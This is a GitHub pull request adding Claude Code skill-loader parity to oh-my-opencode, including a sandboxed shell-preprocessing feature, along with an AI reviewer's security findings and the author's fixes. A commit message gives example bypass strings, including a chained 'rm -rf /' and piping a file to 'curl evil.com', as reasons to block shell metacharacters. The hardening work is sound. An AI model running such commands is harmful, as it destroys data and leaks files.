Skip to content

Conversation

@codewithkenzo
Copy link

@codewithkenzo codewithkenzo commented Jan 20, 2026

Summary

Implements full Claude Code skill loader parity for oh-my-opencode, enabling seamless skill portability between Claude Code and oh-my-opencode.

Changes

  • Task 0: Extract collectMdFilesRecursive to shared utils for code reuse
  • Task 1: Extend SkillMetadata with Claude Code frontmatter fields (disable-model-invocation, user-invocable, context, hooks)
  • Task 2: Implement {{OPENCODE_SESSION_ID}} substitution at invocation time
  • Task 3: Implement shell preprocessing ($(shell:cmd)) with security sandbox (5s timeout, allowlist, 1MB output limit)
  • Task 4: Implement supporting files discovery with <supporting-files> section in skill template
  • Task 5: Implement context: fork via session API for isolated skill execution
  • Task 6: Implement user-invocable: false filtering and disable-model-invocation hook blocking

New Features

Session ID Substitution

Skills can now use {{OPENCODE_SESSION_ID}} which is replaced with the current session ID at invocation time.

Shell Preprocessing

Skills can include dynamic content via shell commands:

Current directory: $(shell:pwd)
Git status: $(shell:git status --short)

Security: 5s timeout, allowlist (echo, cat, ls, git, etc.), 1MB output limit.

Supporting Files

Non-.md files in skill directories are automatically discovered and listed in the skill template for AI reference.

Context Fork

Skills with context: fork execute in an isolated session via the session API, preventing state pollution.

Invocation Filtering

  • user-invocable: false: Skill hidden from slash command listing
  • disable-model-invocation: true: Skill blocked when invoked by model (only via slash command)

Commits (7)

  1. refactor(skill-loader): extract collectMdFilesRecursive to shared utils
  2. feat(skill-loader): add Claude Code frontmatter fields to SkillMetadata
  3. feat(skill-loader): implement session ID substitution
  4. feat(skill-loader): implement shell preprocessing with security sandbox
  5. feat(skill-loader): implement supporting files discovery
  6. feat(skill-loader): implement context fork via session API
  7. feat(skill-loader): implement user-invocable and model-invocation filtering

Test Coverage

  • 103 tests passing across skill-loader tests
  • 152 tests passing overall (2 skipped - timeout-dependent)
  • Typecheck passes

Files Changed

New Files (10)

  • src/features/opencode-skill-loader/utils.ts
  • src/features/opencode-skill-loader/substitution.ts
  • src/features/opencode-skill-loader/substitution.test.ts
  • src/features/opencode-skill-loader/shell-preprocessing.ts
  • src/features/opencode-skill-loader/shell-preprocessing.test.ts
  • src/features/opencode-skill-loader/supporting-files.ts
  • src/features/opencode-skill-loader/supporting-files.test.ts
  • src/features/opencode-skill-loader/context-fork.test.ts
  • src/features/opencode-skill-loader/filtering.test.ts
  • src/hooks/skill-invocation-filter/index.ts

Modified Files (8)

  • src/features/opencode-skill-loader/types.ts
  • src/features/opencode-skill-loader/loader.ts
  • src/features/claude-code-session-state/state.ts
  • src/tools/skill/types.ts
  • src/tools/skill/tools.ts
  • src/hooks/auto-slash-command/index.ts
  • src/hooks/auto-slash-command/executor.ts
  • src/index.ts

Breaking Changes

None. All existing skills continue to work unchanged. New features are opt-in via frontmatter fields.


Summary by cubic

Brings the skill loader to Claude Code parity so skills move between platforms without changes. Adds multi-file merging, shell preprocessing, session forking, and stricter invocation rules with no breaking changes.

  • New Features
    • Multi-file skills: recursively merge subdir .md files (depth ≤3), strip subfile frontmatter, exclude hidden/root README, sort by path.
    • Shell preprocessing: !command allowlist (echo, cat, ls, git…), 5s timeout, 1MB output cap, 10 commands max, runs in the skill directory.
    • Supporting files: discover non-.md files with limits (20 files, 1MB/file, 10MB total) and list them in a section with sizes.
    • Session variables: substitute ${CLAUDE_SESSION_ID} at invocation.
    • Context fork: run skills in isolated sessions; prevents nested forks and returns the last assistant response after stability checks.
    • Invocation filtering: user-invocable: false hides skills from slash listing; disable-model-invocation blocks model-triggered runs unless initiated via slash (tracked per session for 5s).
    • Slash commands: include builtin commands in listings and allow invocation; respects disabled_commands.
    • Directory compatibility: support both singular and plural skill dirs in ~/.config/opencode and .opencode (skill and skills).

Written for commit f4540e2. Summary will update on new commits.

@github-actions
Copy link
Contributor

github-actions bot commented Jan 20, 2026

All contributors have signed the CLA. Thank you! ✅
Posted by the CLA Assistant Lite bot.

@codewithkenzo
Copy link
Author

I have read the CLA Document and I hereby sign the CLA

Add {{OPENCODE_SESSION_ID}} placeholder substitution for skills that need
to create subagent sessions via the session API. The substitution
replaces placeholder with actual sessionId from HookInput, enabling
context fork capabilities per Claude Code parity.
Add $(shell:command) syntax processing for skills. Commands execute in
a security sandbox with timeout, output limits, cwd restriction to skill
directory, and shell escaping. Integrated into loader.ts to process
skill bodies before template generation.
Add discovery of non-.md files in skill directories with metadata
(path, size, extension). Applies safety limits (20 files max, 1MB per
file, 10MB total). Adds <supporting-files> section to skill template
for model awareness of available resources.
Add context:fork support for skills that need to run in isolated sessions.
When a skill has context: 'fork' in frontmatter, it spawns a new session
via client.session.create, sends the skill body, and waits for completion
using stability detection. Includes nested fork prevention via atomic
Set-based tracking.
…tering

Add forCommandListing option to discoverSkills() to filter out skills
with user-invocable: false. Add skill-invocation-filter hook that blocks
model invocation of skills with disable-model-invocation: true unless
initiated via slash command. Session tracking via markSessionAsSlashCommand
with 5s auto-cleanup.
Previously, builtin commands (start-work, ralph-loop, etc.) were only
registered with OpenCode's command system but not discoverable via the
slashcommand tool. This meant /start-work would not appear in listings
and could not be invoked.

- Add getBuiltinCommandsAsInfoArray() to convert builtin commands to CommandInfo
- Update discoverCommandsSync() to include builtin commands
- Pass disabled_commands config to filter disabled builtins
@codewithkenzo codewithkenzo force-pushed the feat/skill-loader-parity branch from 2ff4ebc to bcd899e Compare January 20, 2026 23:16
Copy link

@cubic-dev-ai cubic-dev-ai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

5 issues found across 40 files

Confidence score: 2/5

  • High risk due to a bypassable allowlist in src/features/opencode-skill-loader/shell-preprocessing.ts: executing the full command via sh -c enables chaining disallowed commands, which is a concrete security/behavioral exposure.
  • Multiple loaders (src/features/opencode-skill-loader/async-loader.ts and src/features/opencode-skill-loader/loader.ts) merge markdown across skill directories, risking cross-skill instruction leakage and incorrect templates.
  • Pay close attention to src/features/opencode-skill-loader/shell-preprocessing.ts, src/features/opencode-skill-loader/async-loader.ts, src/features/opencode-skill-loader/loader.ts - command validation and cross-skill content contamination.
Prompt for AI agents (all issues)

Check if these issues are valid — if so, understand the root cause of each and fix them.


<file name="src/features/opencode-skill-loader/shell-preprocessing.ts">

<violation number="1" location="src/features/opencode-skill-loader/shell-preprocessing.ts:28">
P1: Allowlist validation is bypassable because the full command string is executed via `sh -c` even though only the first token is validated. This allows chaining disallowed commands with `;`, `&&`, or subshells while still passing the allowlist.</violation>

<violation number="2" location="src/features/opencode-skill-loader/shell-preprocessing.ts:56">
P2: stderr output is unbounded (no MAX_OUTPUT_BYTES enforcement) allowing large error output despite stdout cap</violation>

<violation number="3" location="src/features/opencode-skill-loader/shell-preprocessing.ts:120">
P2: Sequential replace can target prior output instead of the pending placeholder when command output contains the placeholder text, leaving placeholders unreplaced/corrupted.</violation>
</file>

<file name="src/features/opencode-skill-loader/loader.ts">

<violation number="1" location="src/features/opencode-skill-loader/loader.ts:75">
P2: File-based skills merge markdown from other skill directories, causing cross-skill instruction leakage</violation>
</file>

<file name="src/features/opencode-skill-loader/async-loader.ts">

<violation number="1" location="src/features/opencode-skill-loader/async-loader.ts:89">
P1: Merging subdirectories for top-level skill files pulls in other skills’ markdown, contaminating the template with unrelated instructions.</violation>
</file>

Reply with feedback, questions, or to request a fix. Tag @cubic-dev-ai to re-run a review.

Comment on lines +89 to +92
const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
const mergedContent = subdirFiles.length > 0
? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
subdirFiles.map(f => f.content).join('\n\n')
Copy link

@cubic-dev-ai cubic-dev-ai bot Jan 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: Merging subdirectories for top-level skill files pulls in other skills’ markdown, contaminating the template with unrelated instructions.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/features/opencode-skill-loader/async-loader.ts, line 89:

<comment>Merging subdirectories for top-level skill files pulls in other skills’ markdown, contaminating the template with unrelated instructions.</comment>

<file context>
@@ -85,6 +86,12 @@ export async function loadSkillFromPathAsync(
     const mcpJsonMcp = await loadMcpJsonFromDirAsync(resolvedPath)
     const mcpConfig = mcpJsonMcp || frontmatterMcp
 
+    const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
+    const mergedContent = subdirFiles.length > 0
+      ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
</file context>
Suggested change
const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
const mergedContent = subdirFiles.length > 0
? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
subdirFiles.map(f => f.content).join('\n\n')
const shouldMergeSubdirMd = basename(skillPath) === "SKILL.md" || basename(skillPath) === `${basename(resolvedPath)}.md`
const subdirFiles = shouldMergeSubdirMd ? await collectMdFilesRecursive(resolvedPath, 0, 3, '') : []
const mergedContent = subdirFiles.length > 0
? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
subdirFiles.map(f => f.content).join('\n\n')
: ''
Fix with Cubic

const mcpJsonMcp = await loadMcpJsonFromDir(resolvedPath)
const mcpConfig = mcpJsonMcp || frontmatterMcp

const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
Copy link

@cubic-dev-ai cubic-dev-ai bot Jan 20, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: File-based skills merge markdown from other skill directories, causing cross-skill instruction leakage

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At src/features/opencode-skill-loader/loader.ts, line 75:

<comment>File-based skills merge markdown from other skill directories, causing cross-skill instruction leakage</comment>

<file context>
@@ -64,10 +67,24 @@ async function loadSkillFromPath(
     const mcpJsonMcp = await loadMcpJsonFromDir(resolvedPath)
     const mcpConfig = mcpJsonMcp || frontmatterMcp
 
+    const subdirFiles = await collectMdFilesRecursive(resolvedPath, 0, 3, '')
+    const mergedContent = subdirFiles.length > 0
+      ? '\n\n<!-- Merged from subdirectories (alphabetical by path) -->\n\n' +
</file context>
Fix with Cubic

…vercel compatibility

Add support for both ~/.config/opencode/skill/ (singular, oh-my-opencode convention)
and ~/.config/opencode/skills/ (plural, vercel-labs/add-skill convention).

This enables seamless interoperability with vercel-labs/add-skill which uses
the plural 'skills' directory convention.

Ref: vercel-labs/add-skill#54
- Block shell metacharacters (;|&$`\\) to prevent command chaining bypass
- Cap stderr output to MAX_OUTPUT_BYTES (1MB) like stdout
- Use index-based replacement to prevent placeholder corruption

Security: Prevents attackers from bypassing allowlist via:
- Command chaining: 'echo hello; rm -rf /'
- Pipes: 'cat file | curl evil.com'
- Subshells: 'echo $(whoami)' or 'echo \`whoami\`'
@codewithkenzo
Copy link
Author

@cubic-dev-ai Thanks for the review! I addressed the valid issues:

Fixed (commit f4540e2)

P1: Allowlist validation bypass ✅

Added shell metacharacter blocking (; | & $ \ \ < > { } ! ( )` etc.) to prevent command chaining.

P2: stderr unbounded ✅

Added MAX_OUTPUT_BYTES cap to stderr (same as stdout).

P2: Sequential replace corruption ✅

Rewrote to use index-based replacement instead of sequential string replace.

False Positives (no changes needed)

P2: Cross-skill instruction leakage (loader.ts:75)

P1: Subdirectory contamination (async-loader.ts:89)

These are false positives. The collectMdFilesRecursive(resolvedPath, 0, 3, "") function:

  • Takes resolvedPath = the skill's OWN directory
  • Only collects files from SUBDIRECTORIES of that skill (depth > 0 check at line 32)
  • Does NOT traverse sibling skill directories

It merges markdown from the skill's own subdirectories (e.g., /skills/my-skill/docs/*.md), not from other skills.

Please re-run the review to verify the fixes.

@cubic-dev-ai
Copy link

cubic-dev-ai bot commented Jan 20, 2026

@cubic-dev-ai Thanks for the review! I addressed the valid issues:

Fixed (commit f4540e2)

P1: Allowlist validation bypass ✅

...

@codewithkenzo I have started the AI code review. It will take a few minutes to complete.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant